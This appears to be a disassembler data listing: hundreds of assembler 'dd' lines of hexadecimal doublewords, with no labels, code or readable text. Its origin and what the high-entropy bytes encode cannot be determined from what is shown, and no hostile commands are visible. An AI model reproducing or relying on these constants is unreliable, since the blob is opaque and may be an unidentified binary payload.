		dd 0BE2300E2h, 0B1D489BDh, 6BBAAA00h, 73160647h, 44F300E2h
		dd 4BFCC541h, 8B0104CBh, 0F176DC17h, 0E850421Ch, 0FC4FE27Eh
		dd 5ABF0066h, 0B530F2F5h, 8375A184h, 0DEDE9E28h, 28056309h
		dd 70C81ABh, 0AC50FE87h, 7022664h, 6350CDE7h, 0FA392009h
		dd 17E4B757h, 3C70D37Ch, 0F4FEB4A8h, 3F343Fh, 43F60874h
		dd 6E238C06h, 4DE0210Ch, 0F20B6EE3h, 19C48903h,	0F9AD17BCh
		dd 0F9601B8Fh, 0A1F706E8h, 205760DEh, 1809A503h, 1FD270Fh
		dd 0A32FC91h, 0F461DE7Ch, 8D00F884h, 19348FACh,	0C1F62686h
		dd 94F12329h, 0A449E86Eh, 0E1D63000h, 0C0D9CFDEh, 0E48E2207h
		dd 78C68D24h, 1580641Ch, 896DBD37h, 0E6080109h,	0C0F50E17h
		dd 0DBC18204h, 0A0511B49h, 0F1CAE2ACh, 9C2401D5h, 9A3DECD2h
		dd 1F288309h, 0E8F983B4h, 73FD1593h, 0F146007Ch, 0C9224D72h
		dd 0BC000513h, 0C380450Bh, 38BE2D19h, 94848B78h, 83C5DF46h
		dd 3072F67Fh, 0C8AF870Eh, 0A3405D29h, 555E81Bh,	0FE0E0C3Ah
		dd 2A587235h, 31F71630h, 18CC0B8Ah, 109FE7B2h, 8E08DD0Eh
		dd 8C67FD2Ah, 70394C8Dh, 7F280EBDh, 246389C7h, 0A8AB6AB3h
		dd 0FF3D6A1h, 45908C7Ah, 6F0C18F8h, 4EFFA3Eh, 448E4876h
		dd 496DB200h, 7418974Ah, 52E94FCEh, 0C0F9740Eh,	0DB24AC69h
		dd 1D7B15F3h, 784CF501h, 0BBC51274h, 4461BFCh, 0BF1B2CBh
		dd 8A078771h, 5E1F036Ch, 1100EC1Bh, 0A5A1D6FEh,	453F4E6h
		dd 1D4BC724h, 2E9C807Ch, 3C00377Eh, 0C0901B74h,	33F055Dh
		dd 35B25314h, 0B4A09B17h, 0C22C92E5h, 51070BACh, 0C502C4Ch
		dd 3E092Fh, 0B211EF7Ch,	21668A83h, 38490103h, 0FC8FC3h
		dd 0C739E930h, 22A22DA4h, 81F63E03h, 907EF528h,	391C8969h
		dd 0A4809E1Dh, 0E9999758h, 8DB2CD3h, 0A7F7F070h, 0FA801F1h
		dd 0FEC2A008h, 675985FFh, 0D980D247h, 3B022478h, 0D906084Bh
		dd 0A049A43Ah, 0E58FF1Dh, 0E4231200h, 639BBCF5h, 3C4EC9D1h
		dd 6E3880E0h, 0E01C3B00h, 2E7C3450h, 5A650083h,	0DB580567h
		dd 1A1EC2C5h, 19DD986Eh, 807CA709h, 4BD46D3Ch, 0BCAE1D63h
		dd 0DC6700FDh, 49304596h, 9103FF00h, 1A2375B2h,	0B0E568F5h
		dd 0B77900E8h, 0BF977045h, 0B60CC390h, 21EE14D9h, 0B07C6E4Ch
		dd 0A845A2C6h, 0B453371Fh, 0E08C20B2h, 0A3CEEB5h, 15D923DEh
		dd 0F707401Ch, 10C09CA2h, 0B28DB0FCh, 194D3915h, 7C54B980h
		dd 6D1DC0E8h, 490D1307h, 8586F6EAh, 7ADF0130h, 3C76DD1Eh
		dd 1371F433h, 0BD45653Ah, 94EB0338h, 0E701FFA7h, 0B5D04250h
		dd 6222E8C8h, 1DB7111Bh, 8196130h, 95ED25FCh, 0EEC84603h
		dd 1541790Eh, 4A3FBBEh,	5C7D4B81h, 0F498F0A2h, 104AF328h
		dd 61CC1E00h, 66C853FAh, 93B664Eh, 7E002186h, 0F8AA61A4h
		dd 301915DDh, 0BE485EF4h, 0DFE20294h, 768BB100h, 2939692Dh
		dd 5A6301ECh, 0A2B9DEADh, 800431D0h, 758C9B89h,	0CB6D979h
		dd 8674BF2Eh, 21D3E608h, 0F1750200h, 184CFBDDh,	0C1A93943h
		dd 0D30226EDh, 2F912537h, 25C155E8h, 4A8FE43Bh,	74B5E628h
		dd 5060297Bh, 94EC5BA1h, 91AD1CDDh, 320F0099h, 74DADBCBh
		dd 0A2BE3C0Ah, 22001C0Ah, 0ABF93746h, 33A87648h, 3B0860C3h
		dd 4DF52100h, 8A700837h, 0C4ED064Ah, 41BCDDAFh,	29C028F8h
		dd 0D8F4ABD6h, 0A7960263h, 6AA87B5h, 0DF746CE0h, 2C371A0Ch
		dd 654F1F4h, 3C8B4A63h,	1C0349B0h, 372A1D8h, 0E7A09735h
		dd 7B843E5h, 0AF98091Fh, 3171209Ah, 0E4A72A6Ah,	0BA80D14Fh
		dd 3601EAB4h, 0BD54130Eh, 742158C1h, 0D2691D71h, 0D1680066h
		dd 0E3B9F0E4h, 75533Eh,	89F5A4C9h, 613C7042h, 0AC43B1A1h
		dd 0DC2BF8FDh, 200FB207h, 4546B30Ch, 4E10021h, 0B8B41DFEh
		dd 0F9DF8FAFh, 74842414h, 603F5E88h, 72BFC941h,	0E1C86931h
		dd 61CAC0F1h, 0B84653ACh, 60008F22h, 962861A2h,	0C02B0A54h
		dd 800D1D39h, 0DE3FCCEAh, 0AA0786EDh, 3089B1D7h, 0CB29340Bh
		dd 9B0050F8h, 0DF5DCEF6h, 18255F2h, 5179CA43h, 0DD7B5B21h
		dd 3156FF37h, 336CF020h, 85E8029Dh, 0AED9AFB1h,	0D2C0AA21h
		dd 0DDA9C985h, 0F80C48A2h, 13B47242h, 2620BCBAh, 48C6EFDDh
		dd 0E23E844Fh, 29467B98h, 0A5E89A95h, 0DC5A8207h, 0BB340B54h
		dd 6D408D3h, 27D69A41h,	860024B6h, 197749B8h, 6088A935h
		dd 0C3834948h, 0AAF4C5EFh, 0E55EDD03h, 0D2D0DC50h, 85C04AAEh
		dd 0E843F1BCh, 68200BECh, 64F418A1h, 3E5A202Bh,	3F20C6EFh
		dd 1891F1A6h, 6918F8D1h, 0A53FD90Fh, 4044640Ah,	30F21C82h
		dd 0F91161B3h, 8888A053h, 61AB9180h, 3A2A83DDh,	2AF8741Bh
		dd 7C94800Bh, 334C01E2h, 2355A160h, 0E8B9F952h,	0FA092BB5h
		dd 2C3CCFAAh, 8CFE78E8h, 0AD1161FCh, 0BA888053h, 61A77D81h
		dd 2CF086C1h, 0BD2A022Bh, 0C3AA53E2h, 0D383E090h, 0E0517C32h
		dd 85911F82h, 8C927B80h, 0F2F4263Eh, 2C4BAE24h,	0FFD4C240h
		dd 0B3050031h, 0D3A1E191h, 810A7351h, 84240BE9h, 5F3E2984h
		dd 6BDACC8h, 2A5ECEF1h,	0E30A8940h, 0E855EF3Dh,	0DA11708h
		dd 0C4C9B73Ch, 6200C74Eh, 1365B4DCh, 4CD4109Dh,	7780A03Ch
		dd 59EF9CC3h, 201C5800h, 103D8C36h, 549A09D1h, 40997D2Dh
		dd 4AD184Dh, 42BCAFDh, 0EE2CB3h, 0CC18FE05h, 6AD07293h
		dd 0AB46DC90h, 0FA37630Fh, 1FC46048h, 374F0240h, 0A91BD04Ch
		dd 0A239AAD9h, 0DEC090C1h, 4B821854h, 0E0E1118Ch, 3CCE2500h
		dd 2A265E4Fh, 6990049h,	0ECC32B0Fh, 6607513Eh, 9427DE35h
		dd 8321F7D0h, 5EFE061Ch, 48A0E937h, 8160548Dh, 28057827h
		dd 598315Bh, 8D3DAB1Bh,	0B0B814A5h, 0FB01D323h,	0EED96475h
		dd 0B480C863h, 5B7875F3h, 0DB5AE303h, 191D235Eh, 0F18B4B71h
		dd 62E02AA0h, 0C2C600AFh, 0A45E7650h, 0A678233Dh, 61DC8101h
		dd 0EBF404F2h, 14635980h, 6A80C549h, 0EDA18E1Fh, 99FED9C4h
		dd 5E883EC0h, 75291853h, 563C3109h, 7A9984A8h, 40DB2C00h
		dd 0D9E91DF4h, 7F900E0Ch, 0D020396Dh, 59097443h, 4EFAF801h
		dd 0F64BF0A4h, 281BA980h, 7155A268h, 99FDFC00h,	0EB29E8AAh
		dd 7930A03Ah, 0F52500C5h, 0EE4CA71Ah, 0F10063ADh, 48AFC03Bh
		dd 208CD12h, 0FAF9F28Ah, 60443930h, 87063600h, 0DE23ED92h
		dd 52E46Eh, 0D1D45FA2h,	2EFFF4A9h, 14BA593Dh, 0C0C01704h
		dd 0D94575F8h, 0C448C96h, 75F000B1h, 4980D593h,	82020353h
		dd 214345FFh, 0F5C49137h, 0FAA16B10h, 86A4F900h, 0F268287h
		dd 2A291880h, 0A5B510Dh, 0C039136Fh, 2305C910h,	226B008Ah
		dd 88038B0Dh, 38175A43h, 81FAD72h, 54AEFE42h, 0B84841F8h
		dd 0BFB84818h, 4898AB24h
		dd 0F40EDC4h, 0F70A3770h, 4DCF8B07h, 8234DD1Ch,	663214C1h
		dd 80A65091h, 0AB8D377Ah, 75AF43A8h, 25620188h,	5C704837h
		dd 0A74D291Dh, 2056ABDDh, 94D83C21h, 4C27AEE4h,	0B9BC1488h
		dd 3CCCE48Ch, 0AD822452h, 0A25CF193h, 9D97E520h, 81A070Ch
		dd 246368A3h, 0D2A8828Bh, 0FC75FA30h, 228646D9h, 0F2BB00C0h
		dd 9236AE75h, 0B00C206h, 0F0C1B7E5h, 9053E61Bh,	0A58C81A6h
		dd 37087918h, 0C4D0AB8Ch, 65005C3Ah, 0DA0D1637h, 1677F450h
		dd 33345EBFh, 0C9FEF4B4h, 2A0B5B18h, 877E19h, 0AB2C02C2h
		dd 496CA39h, 50231507h,	44C2AD2Fh, 9D8CEDBh, 3ECF7576h
		dd 4C042C8Bh, 0FFF346A1h, 52F100E1h, 54DA2623h,	0D6E68088h
		dd 1202A400h, 40048EA3h, 4BC30013h, 0C218E7DDh,	491B5E5h
		dd 5B1847D1h, 0BCB2B907h, 68F3C3EAh, 0DD2DC1EFh, 483059F7h
		dd 0CEB3F11h, 4111225Eh, 0B9F7614Bh, 40E2597Fh,	0C0937A83h
		dd 4EBCE500h, 0BD245FCCh, 90BCB9CEh, 43C1C8DAh,	8C8D7553h
		dd 28C614Ch, 2BCEFDF9h,	4419B2E4h, 0FDD1E210h, 48B8C42Ah
		dd 788B5F00h, 0F3BA032Dh, 12087555h, 8DC4819h, 8FC3DF34h
		dd 8ED9E975h, 0C8808C73h, 4CA7587h, 37CD2910h, 23502ED6h
		dd 508200A2h, 0FFC39454h, 0C1120D00h, 2A1124FAh, 6151254Dh
		dd 0C6BD8417h, 0D6954C03h, 5EB864FEh, 0E212AC8Dh, 0F8D03C70h
		dd 9FD42Bh, 94262D06h, 0F98945C8h, 458CCA2Ch, 0C303B826h
		dd 0D2E8792Ch, 802059D8h, 0EF72DC5Bh, 3090A7C4h, 0EE88E081h
		dd 4F11D428h, 80FE0783h, 0CB27026h, 1FDFF458h, 0C31FD6FDh
		dd 1AE738A3h, 0B4F6D3h,	682566ECh, 0B4175190h, 5C5A904Ch
		dd 2F129C43h, 71EC8849h, 751810E9h, 80049C1Bh, 13E625Ah
		dd 367D92DDh, 0D89278B9h, 0D0A064D0h, 3FEB0091h, 72EADF28h
		dd 0CC968D76h, 2FA6680h, 9D4753h, 4E70BAF3h, 412899BDh
		dd 160E5493h, 902F34Fh,	71DADC8Ch, 0AA6904A0h, 2148B2DEh
		dd 958F90B7h, 139FBC74h, 233D29A3h, 80B827D4h, 0B74FFBF4h
		dd 0FC05434h, 0EB91EC8h, 41DF3E9Ch, 944A409Eh, 68DDDA97h
		dd 733E927Ch, 7223EA3h,	0D03F8157h, 0B383A6C7h,	0EEA3B4h
		dd 0E8E59110h, 1FDA5295h, 1C4B6C00h, 0EF8EABF7h, 974200DBh
		dd 9D571B16h, 5400C2C8h, 471E3E81h, 3CAE32A7h, 7E1D90BEh
		dd 0BD3030A3h, 0DE7C0891h, 1B5F9F74h, 4C0F2FE8h, 49EB42BFh
		dd 0BCC7C909h, 54D704A3h, 13C93C17h, 3AB33C28h,	8D008388h
		dd 3DAB18F5h, 4513B499h, 0A49AB9D4h, 0C0128CC7h, 272D3253h
		dd 0A87F1901h, 0A13F2946h, 375E7074h, 0C5994F21h, 0F058CD2Ch
		dd 0F87EA0A5h, 0C6284061h, 7300BB7Eh, 80ED7520h, 9537D098h
		dd 96B5E0E5h, 1F465EE4h, 5AF14201h, 48ABBDD4h, 4BFA5384h
		dd 1836ED40h, 88EBC9CDh, 844AF498h, 61E0E837h, 0B6B05407h
		dd 0A57F5804h, 5FC66100h, 0F97823D0h, 1BA6299Fh, 0DEB19684h
		dd 39D4C7C4h, 5F09CF80h, 11403DB1h, 0A4E64F02h,	94FAA0F5h
		dd 943644h, 260E0411h, 0C2C49521h, 4831221Fh, 82703C84h
		dd 11F20CE2h, 1C43B930h, 560BE9BDh, 0DDA48EBBh,	47EE0063h
		dd 8D51F85Bh, 0F0CE582Eh, 2FBC9A62h, 0E79175C3h, 82B6E000h
		dd 0FD2DC5D0h, 0D0E1505Ch, 47752A29h, 22890080h, 9D2DD395h
		dd 90A150D1h, 7FC3DC3Dh, 0A3F58E05h, 0BC01F63Eh, 0BF793059h
		dd 722820h, 0E71D80EFh,	50C243B5h, 81C08A73h, 0C7D3593Ch
		dd 0E2F72F28h, 612EFC00h, 2D1853D2h, 86582397h,	0E4F32AE3h
		dd 821E00D4h, 1511CDB8h, 0E21F0845h, 7CC0356Ch,	790F1653h
		dd 22435FDAh, 4530A170h, 0ABF81637h, 3E40CB70h,	84370CF4h
		dd 480380EEh, 0AA125847h, 564309Ch, 0DC884377h,	8BE34AB2h
		dd 0C0BBC828h, 140638BCh, 0A00BC525h, 85F5DAFCh, 48F073B4h
		dd 0D61215DCh, 23C43BE2h, 351F3Bh, 45636489h, 0BB31DEEBh
		dd 27EDB840h, 0A4232C23h, 0A537640Fh, 9038B8ABh, 374C0103h
		dd 0D0B19624h, 3EAE106Fh, 88AF29B2h, 184F7984h,	0F0B507D5h
		dd 109AAC74h, 0CD2B124Eh, 400A9524h, 59D0A909h,	56314050h
		dd 0A501E062h, 0E339FCCh, 0C687D71h, 9D587A80h,	6A00ECB1h
		dd 3AFE95FFh, 520EA09Fh, 4CF254B3h, 3F0B0630h, 48822A18h
		dd 0D90D1270h, 0A2574C40h, 778B5180h, 0ADA40016h, 70BC0635h
		dd 0DC0AA94Bh, 0E4A50D3Fh, 430EE302h, 0A5648E29h, 6CB4F23Dh
		dd 0DED20A83h, 64235Eh,	3254DBE2h, 0B4297659h, 0ECD1D89Ah
		dd 90005818h, 63F523D6h, 27EF7739h, 2C91DA44h, 4C08110Ch
		dd 108A3980h, 4B73851Eh, 21AB3930h, 3DF07D6h, 0C94412A8h
		dd 0A0B00351h, 449A1EAFh, 0E2504E52h, 0BD31301Eh, 8888B128h
		dd 0D2F328A0h, 3B54703Ah, 0B0592AADh, 0EA64F900h, 260B4887h
		dd 584500B8h, 0F284A9E3h, 0A21E4F04h, 0CCD873BDh, 0C05DF408h
		dd 9209A939h, 700099E8h, 0C1B0BC87h, 9940483h, 0CA46AC53h
		dd 2BC8A48Ch, 97599D13h, 75776C01h, 7C31DDEEh, 0F1C0F05Bh
		dd 0EC14C34Fh, 1B74B16h, 24597842h, 71407988h, 3952184Fh
		dd 0F3805174h, 0C337AAF2h, 5D30C7ABh, 0CFBDB059h, 950A2C66h
		dd 99ECDCA8h, 74ED5F00h, 0E2EE3EB1h, 0BD014B3h,	2826C81Dh
		dd 0C0F718F8h, 3AFEDADBh, 916C1797h, 0A1488088h, 529A74Bh
		dd 371B9535h, 8090F252h, 620F872Bh, 9B4500C4h, 0DD707A0Ah
		dd 1700D7D1h, 0D2974133h, 0BCE267FCh, 6F00DCE8h, 0D2FA1912h
		dd 1A865BC1h, 0A9AAA9ADh, 4035C082h, 967A72Eh, 546404EBh
		dd 0A7A14CC1h, 0F023446Dh, 16A4C914h, 44CB1053h, 61A17B00h
		dd 2BECDB6Ah, 0A801C514h, 3C3378DCh, 0E02FC1BFh, 0EF641Eh
		dd 7152B07Ah, 69074776h, 0DCDEFA1Fh, 80B91809h,	7E1BC324h
		dd 0AE5330D8h, 0F90FD98h, 4475D0A0h, 680B9A05h,	0C09148B5h
		dd 6E2E4674h, 0E57C0028h, 0E8E0580Fh, 3DC42C13h, 7FA3DC44h
		dd 1CDDE5E8h, 23EC2F12h, 20AF7409h, 0C1AAEBD0h,	0BB79C2E2h
		dd 2CC93388h, 244EEDF3h, 2C0071ECh, 0CC46CEAFh,	0FE0E3FD8h
		dd 53E30990h, 0B48C5708h, 0A9B03741h, 3A196B00h, 252109A4h
		dd 0E5FA0908h, 0AC01298Fh, 0E09883E3h, 40630B2h, 28F77554h
		dd 0D2802070h, 47058200h, 4F6FA2Fh, 29830084h, 0F9F355EBh
		dd 13031599h, 0F854C17Ch, 0D08158FAh, 18C10E8h,	0DCC9BB8Eh
		dd 40D18CCFh, 910DABECh, 0C44FAD4Ah, 0ACE648F4h, 3626D664h
		dd 467C3811h, 41070EBBh, 0BD7CE2A5h, 1D6859C2h,	4241760h
		dd 8B3DC5CCh, 0C0ECC8C0h, 0EE6AF9BCh, 4E76E9E2h, 88553C12h
		dd 71740081h, 1C6D8DC8h, 1608C4FFh, 0BD9C00E7h,	0F42E665Fh
		dd 8F0008B1h, 0F99661D8h, 17C7A0Eh, 65B782C5h, 2E45BA31h
		dd 0C023143Ah, 0F4BA9200h, 59733Bh, 9CCEAA7Eh, 5450951Ah
		dd 0DCFF4B09h, 0F3DC0584h, 0D6D03089h, 3B5E00F2h, 1B4C6082h
		dd 7D0F406Fh, 6DE008FEh, 0B864B8A0h, 76A91112h,	0C3AA1771h
		dd 84DDD0C8h, 2D9FA009h, 0DEE800F4h, 947537DAh,	4EE30104h
		dd 0E403E554h, 809174DFh, 465E102Eh, 0F3480047h, 18C09363h
		dd 0F9EB18CDh, 0F75971D9h, 0C317589h, 20222C31h, 0CE30BAF2h
		dd 35B300F1h, 41E36036h, 8812B9CCh, 200322FFh, 0D14933h
		dd 0FE0C6431h, 0F29189B4h, 0E7202916h, 20BC0C22h, 90B788Fh
		dd 823DEE00h, 5A9CE132h, 19D9F4D2h, 29A8390Eh, 26F8CF85h
		dd 0FC05ED64h, 7803CBF8h, 1628E88Ch, 21E474FDh,	0C72982C8h
		dd 550071E6h, 4DA77723h, 0DC73E7h, 1F2EF7F2h, 3C58C920h
		dd 0FCEA51h, 17B4AAE8h
		dd 9C92F64Eh, 61CE3085h, 5853F810h, 61A694E0h, 0E6874400h
		dd 122A1CBDh, 0BC2404DAh, 0C0373378h, 4CA53C48h, 9496F0B0h
		dd 73A14674h, 0BCF5EC13h, 0B1502C1Fh, 18BD701Eh, 712F29B9h
		dd 0C1E09E6Bh, 80608EE4h, 0BFBB4074h, 48394C27h, 1F118C18h
		dd 4747516Ch, 0F12B3D66h, 39225EB2h, 3568623Ch,	80DA04B5h
		dd 0ECFCB3B0h, 125CF059h, 0B4B4F192h, 300E0031h, 0FA749F3Bh
		dd 83030D3Fh, 0DC770AC6h, 0D922E8FBh, 0ABCA136Fh, 71F4A282h
		dd 160CB400h, 9D348AE6h, 0C25500E9h, 0DA5603E3h, 51134520h
		dd 0A8E44932h, 2B923D4Ah, 10A86D00h, 0DE29A5A1h, 16BE0700h
		dd 15A6CFFDh, 1023486Eh, 0B284A392h, 95C0304Ch,	0A01CF8E0h
		dd 6E8398CFh, 8A6DA915h, 0EE8882B8h, 0EE14CD72h, 5CFD76A0h
		dd 0D44020E7h, 0A8920135h, 456DAB66h, 160BB4Bh,	5EDF04F2h
		dd 0E0104037h, 0BB4AE468h, 82940Fh, 0FAF39E75h,	53C94ADBh
		dd 4E10087Ch, 0B3FDA3CFh, 48E85C2Bh, 0FDD2E3A0h, 0CECF3A01h
		dd 6E603B5Dh, 52C913D8h, 0ECB2703Dh, 128CA30h, 0C5F971D7h
		dd 222B4398h, 200B0428h, 0DC01B999h, 44D5C937h,	0A5F48380h
		dd 60B824E4h, 5A8CFFACh, 0A7CC889Ah, 0AC663100h, 46C23043h
		dd 1C1B07DAh, 0D4B52B7Dh, 92C08491h, 92330AE4h,	2F890543h
		dd 0E4423A0h, 0A9859FC7h, 8BC887Bh, 0A00E0B1h, 0F5065783h
		dd 1BC601F2h, 0BB3577EFh, 0FE4B60C8h, 2AF1DF3Fh, 8207E044h
		dd 83C53B9Dh, 2BC46049h, 3CD14907h, 5C616B27h, 402310FFh
		dd 915400D7h, 0DD56FAB6h, 0FC079B72h, 0A9B2923Ah, 0E8C7AC00h
		dd 0E253075Ch, 938354DEh, 6813A446h, 0B4203C37h, 4A7E03h
		dd 61A124D6h, 4B72332Ch, 0FA40C496h, 97BA0EE3h,	0E511FC17h
		dd 0D2393780h, 0D97628BCh, 0E0ECFD14h, 103D0EFCh, 2C4251E9h
		dd 0C330FFA2h, 502D2CD8h, 8F467468h, 0EC024703h, 3900290Bh
		dd 0E185ACDDh, 9BA2B8h,	5C98EBB6h, 0F76A33F3h, 0B3051CB0h
		dd 1EE8EFDCh, 3E2964C1h, 5BC8403Ah, 989CCD94h, 0DC2764FAh
		dd 914C977Ah, 0EEAA8146h, 0FCC8BAECh, 5CA70405h, 84F5C4C7h
		dd 279C8C94h, 19D7900Fh, 1F3E4003h, 4208DE1h, 2DCE148Eh
		dd 3D6CB4B5h, 0F8B4BBEEh, 0F83FA300h, 9B76282h,	1628076Dh
		dd 0D6146481h, 0B31C6457h, 2E46FB44h, 8418D2BCh, 0A2DD4B16h
		dd 0CB591660h, 0EAB3A44Fh, 102DC529h, 0E80372Ch, 41590FAFh
		dd 24851780h, 0A7007DFBh, 26FF7967h, 875AFAh, 2175EB6Bh
		dd 48EE8251h, 0FC25CE00h, 169C7FD9h, 0F10400DAh, 0BD7355D3h
		dd 7A302172h, 36710E5h,	2356004Fh, 2CB891B3h, 3A00D06Eh
		dd 20EE6A51h, 0CF3FFDh,	0C9B170C6h, 0FB8360DAh,	9D95EB0Fh
		dd 525920F9h, 18C5EAFh,	1A0812B5h, 70FAFDCDh, 8005F320h
		dd 0CE5A672Dh, 0C064E008h, 2BCDFDF8h, 0B0EC38F5h, 71FDD0F5h
		dd 0DCA20085h, 599C8EC6h, 9D27BDDFh, 0C5482FA0h, 30DBE38Dh
		dd 97FFDC0h, 12003F6Ah,	0DBF03B3Dh, 489CCF84h, 884F10BDh
		dd 400E480h, 78D4EECEh,	46D0D3h, 707144B3h, 0DB3B1934h
		dd 4824DA5Bh, 0A3553CC1h, 48022400h, 971C20B5h,	882C64h
		dd 2E181FDEh, 8F44AD01h, 85794F01h, 3C5ED354h, 0D110F036h
		dd 34F20441h, 0B01C85DDh, 4FF5A372h, 811C85Bh, 25E87BB8h
		dd 0E5215827h, 62FFE444h, 14511Ch, 0A14C4AB7h, 5A78851Ah
		dd 0AA2E680Dh, 2FE03175h, 0BA572CE6h, 0F8465E30h, 0B348406h
		dd 9EF6E94Eh, 9F462400h, 0C2BD8997h, 0FB8BA1Eh,	0B93FDADEh
		dd 324AF879h, 0FFB80038h, 86283647h, 782E0035h,	3765EA4Fh
		dd 637C1320h, 0BB2CA507h, 6270517Fh, 0BCC65EBDh, 77438224h
		dd 0AC91A26Dh, 4B04EA81h, 2DF2C88h, 0C15B766Ch,	0B0F1C427h
		dd 8764BB80h, 9A01C8h, 1B725604h, 0EAF2C8Ch, 6AA33B01h
		dd 76AA9783h, 0A8B4223Ah, 5A055310h, 201C0973h,	0CC11F4C5h
		dd 0FABD685Ch, 5DF2730h, 0D69493DEh, 0F8B26Bh, 8D25B5B9h
		dd 26A9177h, 174C3FBBh,	0D459E2F2h, 40327E00h, 0E9A5D0h
		dd 1FE859B7h, 0EE0E3F99h, 3D08CCB6h, 75E2822Eh,	0C450EB65h
		dd 0A9B7AE1Dh, 85802BEDh, 8CB43C6Ch, 816200FDh,	3936B510h
		dd 9200AA27h, 0EFA52EDCh, 0FCD8CFEDh, 404D0517h, 20394EE3h
		dd 8DA05B9Ch, 3659A40Eh, 0A5DE802Dh, 93224DCh, 44893DA9h
		dd 0E89104EEh, 8CAFFC80h, 7574ECh, 14CF41B9h, 0EEA11219h
		dd 0A9E2720Bh, 4010D18Fh, 798624F8h, 746A9E05h,	0A300E331h
		dd 0DF7AB285h, 1F584AE7h, 28842DD4h, 74CA132Eh,	5100A3DFh
		dd 0E4263A0Fh, 3FD9135Ch, 0C1288571h, 0E843BE04h, 0E0C1427Dh
		dd 8C613735h, 11A520BCh, 0C4A44844h, 85CF6216h,	2024505Eh
		dd 3A2467Eh, 34F4DECAh,	12E9E631h, 1360D8DBh, 30D40824h
		dd 0E83D9D89h, 0FD95B24h, 5FBC6E35h, 0E8513682h, 3B7974F1h
		dd 7EC6918h, 0B1342D01h, 46B788D1h, 6963020h, 3F5EBF84h
		dd 849C3135h, 0E30A0807h, 7C1022C5h, 173125CCh,	80BB91D8h
		dd 90414019h, 0C3823D1Ah, 39F6F200h, 547F7472h,	0B420DC4Eh
		dd 4C370Bh, 0BBB26838h,	2A87F6Bh, 59267DF4h, 4DE8821h
		dd 0AABD1319h, 0F3171F8Eh, 0EB070E4h, 73713D86h, 1E334780h
		dd 5F0EFBA1h, 33952729h, 87E2F8F2h, 0ADC0C531h,	0B6DB0027h
		dd 302E8967h, 0E1C0B339h, 9B147BC1h, 6A011C36h,	8108753h
		dd 0EE09D04Dh, 0C10C1DCFh, 3166AFA8h, 512927B3h, 0CFDC20E8h
		dd 0A8F8C826h, 98C42Dh,	0B453BB66h, 0EF7712E7h,	1C244A00h
		dd 0A6262F86h, 0A3A4E688h, 8CC91CACh, 7E80BF7Ah, 683E29C5h
		dd 762FC478h, 4AA898ABh, 0A40C04BFh, 0FD5229F0h, 205E12D8h
		dd 4CA00825h, 0A9E31B82h, 80E2A174h, 0F300D852h, 8ED9562Dh
		dd 48325122h, 14042CE0h, 0C83CA163h, 5E006710h,	0DA4E2513h
		dd 7E5FF1Ah, 4428F77Ch,	97659027h, 5404F419h, 1FB8CD3Fh
		dd 5680C484h, 4CD5CF4Bh, 461D8CF5h, 0C030D6DFh,	2459E364h
		dd 3CA75318h, 5C22F321h, 0BA2D942Fh, 0FF11CC17h, 8482C689h
		dd 900A29FEh, 96F97284h, 0DA7C5CC2h, 544E0014h,	0F2DBCC94h
		dd 26159DF3h, 2DAC83CAh, 5B1CE80Bh, 2DF017Eh, 2B317134h
		dd 1B5DDC76h, 35C59801h, 8559EE5Ah, 0F918356Ah,	0AAF4A918h
		dd 5DF430F2h, 0BA087849h, 88163C00h, 5709BF19h,	13C517ACh
		dd 0AFF809FEh, 44E42045h, 0AB5DE660h, 4FA13D13h, 0CEBD5845h
		dd 62C388FCh, 7CA887F7h, 480367FDh, 0D972E3E9h,	0C4495857h
		dd 0B9D1080Bh, 787A3CC8h, 54542980h, 9DCC4F6h, 0E0EB213Fh
		dd 0F4E0E48Eh, 5CD59FA8h, 0E840B124h, 4169B460h, 0CCD2003Fh
		dd 0AC75DBAEh, 1709FFB2h, 0A0BC5F0Bh, 732D5370h, 48009739h
		dd 0A42C7D1Ah, 4F75E304h, 740430Ah, 0B7693D3Ch,	0EFF5A200h
		dd 0B09864DBh, 316518B5h, 0A7FBB040h, 0A5753A38h, 0B6206387h
		dd 37DA1388h, 0B0E857D5h, 9D161A84h, 0ACC3C065h, 0C320E8EEh
		dd 82C9CE5h, 0AB129A95h, 69857404h, 0C7D34E01h,	0C4D075CCh
		dd 833D57E0h, 0C5B0D44Bh, 0D987F207h, 2CE21771h, 0D6A0FC95h
		dd 94E98E00h, 1D79B5C1h, 0BCA00685h, 0D01E4F40h, 68E08300h
		dd 0FFC12044h, 15170045h, 0B51A5147h, 99680D6Dh, 0C509D0B8h
		dd 5990E8A2h, 945B8054h, 43149D09h, 3F05A35h, 0F8F165E0h
		dd 9CAF53E3h, 0BBE82369h, 0C8C65E2Fh, 5C9F5B98h, 0EC807439h
		dd 0C4E15F9Eh, 76695507h, 1819296Eh, 51CCCF10h,	0A03AB81Ch
		dd 67122D5Dh, 5822D9AAh, 6CD208h, 468DBC66h, 29B8C35Dh
		dd 985FCA00h, 20B0AC77h
		dd 8358177Ch, 0B3009CF4h, 30A00D00h, 0E195A9B2h, 96B7106h
		dd 55A569F9h, 17052C82h, 4675E81Bh, 8BFE5FD9h, 0F1B20B0Ch
		dd 83DCC975h, 5BE4413Bh, 3230A52Bh, 5470405Ch, 0F1333Eh
		dd 0D99C14F2h, 0D4A53736h, 4B8B58F1h, 366F7010h, 548C6300h
		dd 572FD689h, 0C441CBCh, 35C94h, 0B4DA7611h, 0FD54DD75h
		dd 4414DBD4h, 1D87E72h,	612D54CCh, 0B428C3AAh, 6560C188h
		dd 18E2CC7h, 0B30436F5h, 504A8757h, 714742DCh, 98C81F26h
		dd 2C239D85h, 48376088h, 48C27C21h, 2043163Fh, 410598DBh
		dd 6135EE07h, 3BF258B2h, 7A9DA033h, 0B86112CBh,	0BD2CD0F1h
		dd 765CC0A6h, 0B05C00F7h, 0AE2E5BA7h, 88F80E09h, 0CF2ABDE1h
		dd 8EEB0E70h, 0AA0B20E8h, 2658C8B4h, 0B6BD1A54h, 5C5111A2h
		dd 9C218700h, 474562h, 0A85339C7h, 0EE657E75h, 0D21C1612h
		dd 612FEC04h, 0BDA4041Dh, 7CC489C3h, 94095AFCh,	4C54100Bh
		dd 9F013C8Eh, 3031EF00h, 0FDDBE55Eh, 0C2280801h, 0CC48ED82h
		dd 2F5A8478h, 7E62344h,	52256EDFh, 5476AAh, 0AC095096h
		dd 72AC815Eh, 0C04967D3h, 88F1C820h, 0AB24A6ECh, 0A864941Dh
		dd 634FBA40h, 3604837Bh, 3A9CAEBh, 16D7ECC1h, 0CD3CA840h
		dd 8E635EE7h, 0C086C8A8h, 4918FDB3h, 8D53CB04h,	20C2E227h
		dd 0F3284148h, 54F19C21h, 235C3A3Eh, 13CA0347h,	0BFD0066Eh
